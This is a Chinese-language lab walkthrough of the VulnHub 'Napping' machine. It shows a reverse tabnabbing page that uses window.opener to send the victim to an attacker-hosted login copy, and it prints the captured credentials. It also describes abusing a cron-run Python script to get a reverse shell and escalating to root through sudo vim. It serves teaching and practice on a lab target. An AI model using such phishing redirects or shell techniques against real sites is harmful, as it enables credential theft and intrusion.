一、概要

靶机vitrual box打开,攻击机在vmware打开的,使用的桥接模式

靶机:192.168.1.105
攻击机:192.168.1.106
靶机下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova

二、主机发现 

arp-scan

sudo arp-scan -l

 netdiscover

sudo netdiscover

三、信息收集

只开放了22和80端口

访问80端口

注册一个用户登录进来

 

输入一个网址,点击Here就会跳转到目标网址

四、漏洞利用

reverse tabnabbing

这种情况会造成tabnabbing漏洞

大概原理就是,最初的页面A,有一个reverse tabnabbing漏洞(反向标签劫持攻击),钓鱼攻击的一种,可以造成页面跳转
最初的页面A中植入一个a标签,其超链接指向的是我们事先准备好的页面B,页面B中有一段JS代码:window.opener.location="C页面链接"
这样导致用户点击的是B页面的链接,但是却跳转到了C页面

使用条件:
    1、页面存在XSS漏洞,可以执行用户输入的JS脚本
    2、用户可以使用a标签(超链接)
    3、a标签的target=_blank
    4、没有使用rel=noopener/noreferrer属性

先把登录页面down下来

接下来制作一个恶意页面shell.html放到/var/www/html

<!DOCTYPE html>
<html>
<body>
    <script>
    	if(window.opener) window.opener.parent.location.replace('http://192.168.1.106:8888/index.html');
    	if(window.opener != window) window.opener.parent.location.replace('http://192.168.1.106:8888/index.html');
    </script>
</body>
</html>

 用python启一个80端口的http服务

 访问一下攻击机中构造好的恶意页面文件

 攻击机这边会返回一个数据包

 数据包中携带了用户数据,一对用户名和密码

这里需要注意一下,返回的数据包需要进行一下URL解码

username=daniel
password=C@ughtm3napping123

五、ssh登录

用上面得到的账号密码登录一下ssh

登陆成功

查看一下用户所属的组为administrator

 

查找一下这个组有权限运行的程序

find / -group administrators 2>/dev/null

 

 看一下这个目录下的执行日志,大概就是两分钟执行一次

查看一下py文件的内容

大概内容就是只要本地web服务可以正常访问,就每隔两分钟向日志文件中写入当前时间

六、反弹shell

这样的话,借助这个py文件,我们可以尝试向攻击机反弹shell

首先,创建一个反弹shell的sh文件,这里需要注意路径需要在当前用户目录下,否则没有权限创建文件

 修改一下py执行文件的内容,使其执行编辑好的反弹shell的脚本

 等待一会儿后会有一个shell反弹过来,同时查看一下权限

七、vim提权

发现vim命令是可以免密码执行root权限的

直接利用vim写入shell

拿到root权限并在/root目录下拿到flag

 

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐